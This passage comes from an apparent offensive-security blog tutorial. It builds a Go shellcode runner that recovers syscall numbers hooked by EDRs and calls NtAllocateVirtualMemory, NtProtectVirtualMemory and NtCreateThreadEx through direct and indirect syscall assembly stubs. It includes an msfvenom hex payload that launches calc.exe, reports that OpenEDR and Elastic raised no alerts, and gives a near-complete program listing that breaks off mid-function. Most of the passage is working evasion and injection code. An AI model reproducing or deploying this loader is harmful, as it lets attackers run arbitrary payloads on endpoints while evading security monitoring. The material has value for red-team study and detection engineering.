<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FDvluG57cCZ1CwQACeqD7%2Fimage.png?alt=media&amp;token=c4637951-ca5e-4329-95c6-2d88ab9bb95b" alt=""><figcaption><p>Before and after running the UnhookFuncs() function</p></figcaption></figure>

Let's cross check that the value 0x33 if it's the correct SSN for NtOpenFile from another identical windows host not running an EDR.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FSlJEmK634xzQSFKGWttd%2Fimage.png?alt=media&amp;token=14e6c7b8-1fe3-4544-8f59-9447ed966ca6" alt=""><figcaption><p>NtOpenFile SSN</p></figcaption></figure>

We have programmatically managed to get the correct SSN values of the hooked functions. We are now ready to start building the assembly functions that perform direct and indirect syscalls.&#x20;

#### Assembly Functions

Since writing assembly is not the aim of this blog post I will not go in too much detail about it. If this is a subject of interest you can review the [go documentation](https://go.dev/doc/asm) and the [plan 9 assembler manual](https://9p.io/sys/doc/asm.html). Also keep an eye out for my upcoming goASM blog.&#x20;

For the sake of simplicity we will take the ASM functions from two existing projects.&#x20;

1. Direct Syscall Function from BananaPhone Project is located [here ](https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s)
2. Indirect Syscall Function from acheron project is located [here](https://github.com/f1zm0/acheron)

Both of these functions are essentially modified versions of the [Golang function](https://go.dev/src/runtime/sys_windows_amd64.s) (asmstdcall) used to perform windows API calls.&#x20;

**Let's have a quick look at the direct syscall function**&#x20;

{% code lineNumbers="true" %}

```
//based on https://golang.org/src/runtime/sys_windows_amd64.s
#define maxargs 16
//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
TEXT ·bpSyscall(SB), $0-56
	XORQ AX,AX
	MOVW callid+0(FP), AX
	PUSHQ CX
	//put variadic size into CX
	MOVQ argh_len+16(FP),CX
	//put variadic pointer into SI
	MOVQ argh_base+8(FP),SI
	// SetLastError(0).
	MOVQ	0x30(GS), DI
	MOVL	$0, 0x68(DI)
	SUBQ	$(maxargs*8), SP	// room for args
	// Fast version, do not store args on the stack.
	CMPL	CX, $4
	JLE	loadregs
	// Check we have enough room for args.
	CMPL	CX, $maxargs
	JLE	2(PC)
	INT	$3			// not enough room -> crash
	// Copy args to the stack.
	MOVQ	SP, DI
	CLD
	REP; MOVSQ
	MOVQ	SP, SI
loadregs:
	//move the stack pointer????? why????
	SUBQ	$8, SP
	// Load first 4 args into correspondent registers.
	MOVQ	0(SI), CX
	MOVQ	8(SI), DX
	MOVQ	16(SI), R8
	MOVQ	24(SI), R9
	// Floating point arguments are passed in the XMM
	// registers. Set them here in case any of the arguments
	// are floating point values. For details see
	//	https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
	MOVQ	CX, X0
	MOVQ	DX, X1
	MOVQ	R8, X2
	MOVQ	R9, X3
	//MOVW callid+0(FP), AX
	MOVQ CX, R10
	SYSCALL
	ADDQ	$((maxargs+1)*8), SP
	// Return result.
	POPQ	CX
	MOVL	AX, errcode+32(FP)
	RET
```

{% endcode %}

{% hint style="info" %}
Before we dive into the assembly let's not the main differences between Go Asm and what we will see in windbg (intel syntax)
{% endhint %}

<table><thead><tr><th></th><th>goASM</th><th>Intel</th></tr></thead><tbody><tr><td>Parameter order</td><td><pre class="language-asm6502"><code class="lang-asm6502">SUBQ	$8, SP
</code></pre><p>Source before the destination.</p></td><td><pre class="language-asm6502"><code class="lang-asm6502">SUB	RSP, 8
</code></pre><p>Destination before source.</p></td></tr><tr><td>Address names</td><td>All registers are 64 bit, but instructions access low-order 8, 16 and 32 bits. For example, MOVL to AX puts a value in the low-order 32 bits and clears the top 32 bits to zero.</td><td><ul><li><code>RAX</code> is the 64-bit general-purpose register.</li><li><code>EAX</code> is the 32-bit general-purpose register, and in 64-bit mode, it's the lower 32 bits of <code>RAX</code>.</li><li><code>AX</code> is the 16-bit version of the register, and in 64-bit mode, it's the lower 16 bits of <code>RAX</code>.</li></ul></td></tr></tbody></table>

The function receives a uint16 as an argument. That is the SSN of the syscall we want to perform. The rest of the uintptrs are the arguments passed to the function

* Line 5 sets the RAX register to 0 by performing the xor operation.
* Line 6 moves the value of the first argument to RAX essentially recreating the `mov eax,33` we have seen in the ntdll exported functions.&#x20;
* Line 7 takes the number of arguments into RCX.&#x20;
* Lines 17-45: It basically checks how many arguments were passed to the function and follows the [x64 calling convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170). First 4 arguments passed to the registers RCX, RDX,R8,R9 and the rest are stored in the stack.
* Line 46 is where the syscall instruction is called.&#x20;

**The indirect syscall function is very similar:**

{% code lineNumbers="true" %}

```
// func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) uint32
TEXT ·execIndirectSyscall(SB),NOSPLIT, $0-40
    XORQ    AX, AX
    MOVW    ssn+0(FP), AX
	
    XORQ    R11, R11
    MOVQ    trampoline+8(FP), R11
	
    PUSHQ   CX
	
    //put variadic pointer into SI
    MOVQ    argh_base+16(FP),SI

    //put variadic size into CX
    MOVQ    argh_len+24(FP),CX
	
    // SetLastError(0).
    MOVQ    0x30(GS), DI
    MOVL    $0, 0x68(DI)

    // room for args
    SUBQ    $(maxargs*8), SP	

    //no parameters, special case
    CMPL    CX, $0
    JLE     jumpcall
	
    // Fast version, do not store args on the stack.
    CMPL    CX, $4
    JLE	    loadregs

    // Check we have enough room for args.
    CMPL    CX, $maxargs
    JLE	    2(PC)

    // not enough room -> crash
    INT	    $3			

    // Copy args to the stack.
    MOVQ    SP, DI
    CLD
    REP; MOVSQ
    MOVQ    SP, SI
	
loadregs:

    // Load first 4 args into correspondent registers.
    MOVQ	0(SI), CX
    MOVQ	8(SI), DX
    MOVQ	16(SI), R8
    MOVQ	24(SI), R9
	
    // Floating point arguments are passed in the XMM registers
    // Set them here in case any of the arguments are floating point values. 
    // For details see: https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
    MOVQ	CX, X0
    MOVQ	DX, X1
    MOVQ	R8, X2
    MOVQ	R9, X3
	
jumpcall:
    MOVQ    CX, R10

    //jump to syscall;ret gadget address instead of direct syscall
    CALL    R11

    ADDQ	$((maxargs)*8), SP

    // Return result
    POPQ	CX
    MOVL	AX, errcode+40(FP)
    RET
```

{% endcode %}

The main differences are:

* In addition to the ssn it receives a trampoline argument which is the address of the `syscall;ret;` located in ntdll.dll&#x20;
* Line 7: The trampoline addess is stored in R11 register
* Line 65: Instead of syscall of using the syscall instruction we use the `CALL R11` instruction that calls the syscall in ntdll.dll

#### Wrapper Functions for our assembly functions

In order to be able to call the assembly functions in go we need to save them in the same directory as our code. Since our functions will only work on x64 the name should end with *amd64.s. If a 32bit implementation of the function was present we would have to create a separate file ending with \_*&#x69;386.s . That's letting the compiler know the architecture of the assembly functions.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FL4gRVvY0gxFrZ2YlYW7W%2Fimage.png?alt=media&amp;token=dad1f7dd-4ea3-48cc-b339-29ac4f39ac77" alt=""><figcaption><p>Adding the assembly functions in the project directory </p></figcaption></figure>

In our code we should also define the functions without a body

```go
func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) (errcode uint32)

func bpSyscall(ssn uint16, argh ...uintptr) (errcode uint32)
```

That's all needed before we can call the functions.&#x20;

We will then write a wrapper function that receives the ntapi function as a string and the function arguments. It will then resolve the ssn and trampoline as needed before calling our assembly function.

```go
func (dll *dllstruct) IndirectSyscall(ntapi string, argh ...uintptr) (errcode uint32, err error) {
	var ssn uint16 = 0
	var trampoline uintptr = 0

	if strings.HasPrefix(ntapi, "Nt") {
		for _, fun := range dll.exportedNtFunctions {
			if fun.name == ntapi {
				ssn = fun.syscallno
				trampoline = fun.trampoline
				break
			}
		}

	} else if strings.HasPrefix(ntapi, "Zw") {
		for _, fun := range dll.exportedZwFunctions {
			if fun.name == ntapi {
				ssn = fun.syscallno
				trampoline = fun.trampoline
				break
			}
		}

	} else {
		return 0, fmt.Errorf("Invalid NT Api function\n")
	}

	if ssn == 0 && trampoline == 0 {
		return 0, fmt.Errorf("Invalid NT Api function\n")
	}

	fmt.Printf("Calling Indirect syscall: %s SSN: %x Trampoline: %x\n", ntapi, ssn, trampoline)
	errcode = execIndirectSyscall(ssn, trampoline, argh...)
	if errcode != 0 {
		err = fmt.Errorf("non-zero return from syscall")
	}
	return errcode, err
}
```

#### Shellcode Runner code

In order to create our shellcode runner the following native APIs should be called:

1. [NtAllocateVirtualMemory ](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory)(== VirtualAlloc)
2. rtlMoveMemory
3. [NtProtectVirtualMemory  ](https://www.pinvoke.net/default.aspx/ntdll/NtProtectVirtualMemory.html)(== VirtualProtect)
4. [NtCreateThreadEx ](http://pinvoke.net/default.aspx/ntdll/NtCreateThreadEx.html)(==CreateThread)

Let's write the functions one by one. At this point using direct or indirect syscalls has no difference at all. We just have to call the respective function(IndirectSyscall or Syscall) and the code will do the work for us. We will run both implementations against openEDR and elasticEDR to see if any alerts are generated.&#x20;

Let's create a wrapper function for each ntAPI

[**NtAllocateVirtualMemory** ](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory)

The arguments passed are identical to the VirtualAlloc function (which is not always the case). &#x20;

```go
func (dll *dllstruct) NtAllocateVirtualMemorySyscall(ntapi string, handle uintptr, length uintptr, alloctype int, protect int) (uintptr, error) {
	/*
			__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
		  [in]      HANDLE    ProcessHandle, 1
		  [in, out] PVOID     *BaseAddress,  2
		  [in]      ULONG_PTR ZeroBits,      3
		  [in, out] PSIZE_T   RegionSize,    4
		  [in]      ULONG     AllocationType,5
		  [in]      ULONG     Protect        6
		);*/
	// syscall for NtAllocateVirtualMemory

	var BaseAddress uintptr

	err1, err := dll.IndirectSyscall(
		ntapi,
		uintptr(unsafe.Pointer(handle)),       //1
		uintptr(unsafe.Pointer(&BaseAddress)), //2
		0,                                     //3
		uintptr(unsafe.Pointer(&length)),      //4
		uintptr(alloctype),                    //5
		uintptr(protect),                      //6
	)
	if err != nil {
		return 0, fmt.Errorf("1 %s %x\n", err, err1)
	}

	return BaseAddress, nil
}
```

The allocated address is stored at the BaseAddress variable defined before the syscall.&#x20;

{% hint style="info" %}
The easiest way to debug if our stack / registers are correct before the syscall is to set up a break point just before the syscall. An easy way to find the address of a function in golang is using the following code which prints the address of the IndirectSyscall() in memory. The the sleep function will give us enough time to attach to process and set our breakpoints.&#x20;

```go
    var ptr uintptr = reflect.ValueOf(IndirectSyscall).Pointer()
    fmt.Printf("0x%x", ptr)
    time.Sleep(30*time.Second)
    
    
```

{% endhint %}

In the main function we add the following code to call our wrapper function:

<pre class="language-go"><code class="lang-go"><strong>	pHandle := windows.CurrentProcess()
</strong>	addr, err := dll.NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", 
						uintptr(pHandle), 
						uintptr(len(sc)), 
						windows.MEM_COMMIT|windows.MEM_RESERVE, 
						windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err)
	}
	fmt.Printf("	[+] Allocated Memory Address: 0x%x\n", addr)

</code></pre>

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2Fdo1ua7UxLQUxqRqo9DV1%2Fimage.png?alt=media&amp;token=4693a015-5273-49c9-93f7-7d91e772cb8d" alt=""><figcaption><p>We have the memory allocated at 0x2ab19810000</p></figcaption></figure>

**rtlMoveMemory**

We can use the rtlMoveMemory function to copy the bytes stored in the sc slice to the allocated memory.

```go
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")
	
	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[!] Wrote shellcode bytes to destination address")
```

[**NtProtectVirtualMemory**](https://www.pinvoke.net/default.aspx/ntdll/NtProtectVirtualMemory.html)

We then use this native api to adjust the memory permissions to RX.

```go
func (dll *dllstruct) NtProtectVirtualMemory(ntapi string, handle, addr uintptr, size uintptr, flNewProtect uintptr, lpflOldProtect uintptr) error {
	err1, err := dll.IndirectSyscall(
		ntapi,
		handle,
		uintptr(unsafe.Pointer(&addr)),
		uintptr(unsafe.Pointer(&size)),
		flNewProtect,
		lpflOldProtect,
	)
	if err != nil {
		return fmt.Errorf("1 %s %x\n", err, err1)
	}
	fmt.Println("	[+] Changed memory permissions to PAGE_EXECUTE_READ")

	return nil
}

```

In the main function we add this piece of code to

```go
	err = dll.NtProtectVirtualMemory("NtProtectVirtualMemory", uintptr(pHandle), addr, uintptr(len(sc)), uintptr(windows.PAGE_EXECUTE_READ), uintptr(unsafe.Pointer(&oldProtect)))
	if err != nil {
		log.Fatalf("NtProtectVirtualMemory Failed: %v", err)
	}
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FflIyyHRFzF1zNVid9fLV%2Fimage.png?alt=media&amp;token=7b1c94f8-3009-47ae-9684-8e53579a4fea" alt=""><figcaption><p>Memory permissions changed successfuly </p></figcaption></figure>

[**NtCreateThreadEx** ](http://pinvoke.net/default.aspx/ntdll/NtCreateThreadEx.html)

The last and final step before is to create a thread pointing to our shellcode.

```go
func (dll *dllstruct) NtCreateThreadEx(ntapi string, handle, BaseAddress uintptr) (uintptr, error) {

	/*
	   typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	     OUT PHANDLE hThread,               	1
	     IN ACCESS_MASK DesiredAccess,	    	2
	     IN PVOID ObjectAttributes,	        	3
	     IN HANDLE ProcessHandle,		    	4
	     IN PVOID lpStartAddress,			5
	     IN PVOID lpParameter,			6
	     IN ULONG Flags,				7
	     IN SIZE_T StackZeroBits,			8
	     IN SIZE_T SizeOfStackCommit,		9
	     IN SIZE_T SizeOfStackReserve,		10
	     OUT PVOID lpBytesBuffer			11
	   );
	*/

	var hThread uintptr
	DesiredAccess := uintptr(0x1FFFFF)
	err1, err := dll.IndirectSyscall(
		ntapi,
		uintptr(unsafe.Pointer(&hThread)),    //1
		DesiredAccess,                        //2
		0,                                    //3
		uintptr(unsafe.Pointer(handle)),      //4
		uintptr(unsafe.Pointer(BaseAddress)), //5
		0,                                    //6
		uintptr(0),                           //7
		0,                                    //8
		0,                                    //9
		0,                                    //10
		0,				      //11
	)
	if err != nil {
		return 0, fmt.Errorf("1 %s %x\n", err, err1)
	}

	fmt.Printf("	[+] Thread Handle: 0x%v\n", hThread)

	syscall.WaitForSingleObject(syscall.Handle(hThread), 0xffffffff)
	return hThread, nil
}
```

And in the main function:

```go
	_, err = dll.NtCreateThreadEx("NtCreateThreadEx", uintptr(pHandle), addr)
	if err != nil {
		log.Fatalf("NtCreateThreadEx: Failed to create remote thread %v\n", err)
	}
```

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FJcrqSrpiLJp2xZKdIICm%2Fimage.png?alt=media&amp;token=21192a70-7bbc-478b-8a56-ff3cc67ff0ed" alt=""><figcaption><p>Thread created and returned the handle</p></figcaption></figure>

### Detections ?

Using the default rules none of the EDRs generated any alerts other than the process creation.

#### OpenEDR **(22-09-2023)**

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FCJeTlWsIq59d0kNh3FTV%2Fimage.png?alt=media&amp;token=57ce317c-a41d-4a80-a478-72dfcf354b6a" alt=""><figcaption><p>Succesfully executed without generating any alerts</p></figcaption></figure>

**ElasticEDR (22-09-2023)**

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FAgVDnmev74ps8dcQqDsY%2Fimage.png?alt=media&amp;token=29179d9e-0c52-4b11-9723-38da133ddb06" alt=""><figcaption><p>Succesfully executed without generating any alerts</p></figcaption></figure>

### Complete Code

Ideally the syscall functionality should be turned into a package and then imported wherever needed.

```go
package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"slices"
	"sort"
	"strings"
	"syscall"
	"unsafe"

	"github.com/jedib0t/go-pretty/v6/table"
	"golang.org/x/sys/windows"
)

type IMAGE_EXPORT_DIRECTORY struct { //offsets
	Characteristics       uint32 // 0x0
	TimeDateStamp         uint32 // 0x4
	MajorVersion          uint16 // 0x8
	MinorVersion          uint16 // 0xa
	Name                  uint32 // 0xc
	Base                  uint32 // 0x10
	NumberOfFunctions     uint32 // 0x14
	NumberOfNames         uint32 // 0x18
	AddressOfFunctions    uint32 // 0x1c
	AddressOfNames        uint32 // 0x20
	AddressOfNameOrdinals uint32 // 0x24
}
type Exportfunc struct {
	funcRVA         uint32  // relative address to the base address of the dll
	functionAddress uintptr // absolute address
	name            string  // name of the exported function
	syscallno       uint16  // SSN
	trampoline      uintptr // syscall ;ret; address location
	isHooked        bool    // Is the function hooked?
}

type dllstruct struct {
	name                   string
	address                uintptr
	exportDirectoryAddress uintptr
	exportDirectory        IMAGE_EXPORT_DIRECTORY
	exportedNtFunctions    []Exportfunc
	exportedZwFunctions    []Exportfunc
}

func main() {
	dll, err := GetStructOfLoadedDll("ntdll.dll")
	if err != nil {
		log.Fatalln(err)
	}

	dll.getExportTableAddress()
	dll.GetImageExportDirectory()
	dll.GetModuleExports()
	dll.UnhookFuncs()

	//// Shellcode runner /////
	//msfvenom -p windows/x64/exec CMD=calc.exe -f hex
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	/*
		1. NtAllocateVirtualMemory == VirtualAlloc
		2. rtlMoveMemory
		3. NtProtectVirtualMemory == VirtualProtect
		4. NtCreateThreadEx == CreateThread
	*/

	pHandle := windows.CurrentProcess()
	addr, err := dll.NtAllocateVirtualMemorySyscall("NtAllocateVirtualMemory", uintptr(pHandle), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("NtAllocateVirtualMemorySyscall: Failed to allocate memory %v\n", err)
	}
	fmt.Printf("	[+] Allocated Memory Address: 0x%x\n", addr)

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[!] Wrote shellcode bytes to destination address")

	var oldProtect uint32

	err = dll.NtProtectVirtualMemory("NtProtectVirtualMemory", uintptr(pHandle), addr, uintptr(len(sc)), uintptr(windows.PAGE_EXECUTE_READ), uintptr(unsafe.Pointer(&oldProtect)))
	if err != nil {
		log.Fatalf("NtProtectVirtualMemory Failed: %v", err)
	}
	_, err = dll.NtCreateThreadEx("NtCreateThreadEx", uintptr(pHandle), addr)
	if err != nil {
		log.Fatalf("NtCreateThreadEx: Failed to create remote thread %v\n", err)
	}

}

func (dll *dllstruct) NtCreateThreadEx(ntapi string, handle, BaseAddress uintptr) (uintptr, error) {

	/*
	   typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	     OUT PHANDLE hThread,               1
	     IN ACCESS_MASK DesiredAccess,	    2
	     IN PVOID ObjectAttributes,	        3
	     IN HANDLE ProcessHandle,		    4
	     IN PVOID lpStartAddress,			5
	     IN PVOID lpParameter,				6
	     IN ULONG Flags,					7
	     IN SIZE_T StackZeroBits,			8
	     IN SIZE_T SizeOfStackCommit,		9
	     IN SIZE_T SizeOfStackReserve,		10
	     OUT PVOID lpBytesBuffer			11
	   );
	*/

	var hThread uintptr
	DesiredAccess := uintptr(0x1FFFFF)
	err1, err := dll.Syscall(
		ntapi,
		uintptr(unsafe.Pointer(&hThread)),    //1
		DesiredAccess,                        //2
		0,                                    //3
		uintptr(unsafe.Pointer(handle)),      //4
		uintptr(unsafe.Pointer(BaseAddress)), //5
		0,                                    //6
		uintptr(0),                           //7
		0,                                    //8
		0,                                    //9
		0,                                    //10
		0,
	)
	if err != nil {
		return 0, fmt.Errorf("1 %s %x\n", err, err1)
	}

	fmt.Printf("	[+] Thread Handle: 0x%v\n", hThread)

	syscall.WaitForSingleObject(syscall.Handle(hThread), 0xffffffff)
	return hThread, nil
}

func (dll *dllstruct) NtProtectVirtualMemory(ntapi string, handle, addr uintptr, size uintptr, flNewProtect uintptr, lpflOldProtect uintptr) error {
	err1, err := dll.Syscall(
		ntapi,
		handle,
		uintptr(unsafe.Pointer(&addr)),
		uintptr(unsafe.Pointer(&size)),
		flNewProtect,
		lpflOldProtect,
	)
	if err != nil {
		return fmt.Errorf("1 %s %x\n", err, err1)
	}
	fmt.Println("	[+] Changed memory permissions to PAGE_EXECUTE_READ")

	return nil
}

func (dll *dllstruct) NtAllocateVirtualMemorySyscall(ntapi string, handle uintptr, length uintptr, alloctype int, protect int) (uintptr, error) {
	/*
			__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
		  [in]      HANDLE    ProcessHandle, 1
		  [in, out] PVOID     *BaseAddress,  2
		  [in]      ULONG_PTR ZeroBits,      3
		  [in, out] PSIZE_T   RegionSize,    4
		  [in]      ULONG     AllocationType,5
		  [in]      ULONG     Protect        6
		);*/
	// syscall for NtAllocateVirtualMemory

	var BaseAddress uintptr

	err1, err := dll.Syscall(
		ntapi,
		uintptr(unsafe.Pointer(handle)),       //1
		uintptr(unsafe.Pointer(&BaseAddress)), //2
		0,                                     //3
		uintptr(unsafe.Pointer(&length)),      //4
		uintptr(alloctype),                    //5
		uintptr(protect),                      //6
	)
	if err != nil {
		return 0, fmt.Errorf("1 %s %x\n", err, err1)
	}

	return BaseAddress, nil
}

func (dll *dllstruct) Syscall(ntapi string, argh ...uintptr) (errcode uint32, err error) {
	var ssn uint16 = 0

	if strings.HasPrefix(ntapi, "Nt") {
		for _, fun := range dll.exportedNtFunctions {
			if fun.name == ntapi {
				ssn = fun.syscallno
				break
			}
		}

	} else if strings.HasPrefix(ntapi, "Zw") {
		for _, fun := range dll.exportedZwFunctions {
			if fun.name == ntapi {
				ssn = fun.syscallno
				break
			}
		}

	} else {
		return 0, fmt.Errorf("Invalid NT Api function\n")
	}

	if ssn == 0 {
		return 0, fmt.Errorf("Invalid NT Api function\n")
	}
	fmt.Printf("[!] Calling direct syscall: %s SSN: 0x%x \n", ntapi, ssn)

	errcode = bpSyscall(ssn, argh...)

	if errcode != 0 {
		err = fmt.Errorf("non-zero return from syscall")
	}
	return errcode, err
}

func (dll *dllstruct) IndirectSyscall(ntapi string, argh ...uintptr) (errcode uint32, err error) {
	var ssn uint16 = 0
	var trampoline uintptr = 0

	if strings.HasPrefix(ntapi, "Nt") {
		for _, fun := range dll.exportedNtFunctions {
			if fun.name == ntapi {
				ssn = fun.syscallno
				trampoline = fun.trampoline
				break
			}
		}

	} else if strings.HasPrefix(ntapi, "Zw") {
		for _, fun := range dll.exportedZwFunctions {
			if fun.name == ntapi {
				ssn = fun.syscallno
				trampoline = fun.trampoline
				break
			}
		}

	} else {
		return 0, fmt.Errorf("Invalid NT Api function\n")
	}

	if ssn == 0 && trampoline == 0 {
		return 0, fmt.Errorf("Invalid NT Api function\n")
	}

	fmt.Printf("[!] Calling Indirect syscall: %s SSN: 0x%x Trampoline: %x\n", ntapi, ssn, trampoline)
	errcode = execIndirectSyscall(ssn, trampoline, argh...)
	if errcode != 0 {
		err = fmt.Errorf("non-zero return from syscall")
	}
	return errcode, err
}

func execIndirectSyscall(ssn uint16, trampoline uintptr, argh ...uintptr) (errcode uint32)

func bpSyscall(ssn uint16, argh ...uintptr) (errcode uint32)

func (dll *dllstruct) PrintExports() {
	noPrint := []string{"NtQuerySystemTime", "ZwQuerySystemTime"}

	tNt := table.NewWriter()
	tNt.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"})
	for i, fun := range dll.exportedNtFunctions {
		if slices.Contains(noPrint, fun.name) {
			continue
		}
		tNt.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked})
	}
	tZw := table.NewWriter()
	tZw.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"})
	for i, fun := range dll.exportedZwFunctions {
		if slices.Contains(noPrint, fun.name) {
			continue
		}
		tZw.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked})
	}
	fmt.Println(tNt.Render())
	fmt.Println(tZw.Render())
}

func (dll *dllstruct) UnhookFuncs() {
	for i, fun := range dll.exportedNtFunctions {
		if fun.isHooked {

			dll.exportedNtFunctions[i].syscallno = dll.exportedNtFunctions[i-1].syscallno + 1
			dll.exportedNtFunctions[i].isHooked = false
		}
	}
	for i, fun := range dll.exportedZwFunctions {
		if fun.isHooked {
			dll.exportedZwFunctions[i].syscallno = dll.exportedZwFunctions[i-1].syscallno + 1
			dll.exportedZwFunctions[i].isHooked = false
		}
	}
}

func (fun *Exportfunc) GetSyscallNumbers(address uintptr) {

	funcbytes := (*[5]byte)(unsafe.Pointer(fun.functionAddress))[:]

	if funcbytes[0] == 0x4c && funcbytes[1] == 0x8b && funcbytes[2] == 0xd1 && funcbytes[3] == 0xb8 { // Check if the function is hooked.
		fun.syscallno = *(*uint16)(unsafe.Pointer(&funcbytes[4])) // Get Syscall Number
		fun.isHooked = false
	} else {
		fun.syscallno = 0xffff // when hooked set the syscall number 0xff
		fun.isHooked = true
	}

	//fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno)

}

func (dll *dllstruct) GetModuleExports() {

	exclusions := []string{"NtdllDefWindowProc_A", "NtdllDefWindowProc_W", "NtdllDialogWndProc_A", "NtdllDialogWndProc_W", "NtGetTickCount"}

	var absAddress uintptr

	for i := 0; i < int(dll.exportDirectory.NumberOfNames); i++ {
		funcRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfFunctions) + uintptr((i+1)*0x4)))))
		nameRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfNames) + uintptr(i*0x4)))))
		nameAddr := dll.address + uintptr(nameRVA)
		nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:]
		name := windows.BytePtrToString(&nameRVAbyte[0])

		absAddress = dll.address + uintptr(funcRVA)
		for j := 0; j < 100; j++ {
			if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f {
				if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 {
					if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 {
						break
					}
				}
			}
			absAddress += 1
		}

		if strings.HasPrefix(name, "Nt") && !slices.Contains(exclusions, name) {
			funcExp := Exportfunc{
				funcRVA:         funcRVA,
				functionAddress: dll.address + uintptr(funcRVA),
				name:            name,
				trampoline:      absAddress,
			}
			funcExp.GetSyscallNumbers(dll.address)
			dll.exportedNtFunctions = append(dll.exportedNtFunctions, funcExp)
		}

		if strings.HasPrefix(name, "Zw") {
			funcExp := Exportfunc{
				funcRVA:         funcRVA,
				functionAddress: dll.address + uintptr(funcRVA),
				name:            name,
				trampoline:      absAddress,
			}
			funcExp.GetSyscallNumbers(dll.address)
			dll.exportedZwFunctions = append(dll.exportedZwFunctions, funcExp)
		}

	}
	sort.SliceStable(dll.exportedNtFunctions, func(i, j int) bool {
		return (dll.exportedNtFunctions)[i].funcRVA < (dll.exportedNtFunctions)[j].funcRVA
	})
	sort.SliceStable(dll.exportedZwFunctions, func(i, j int) bool {
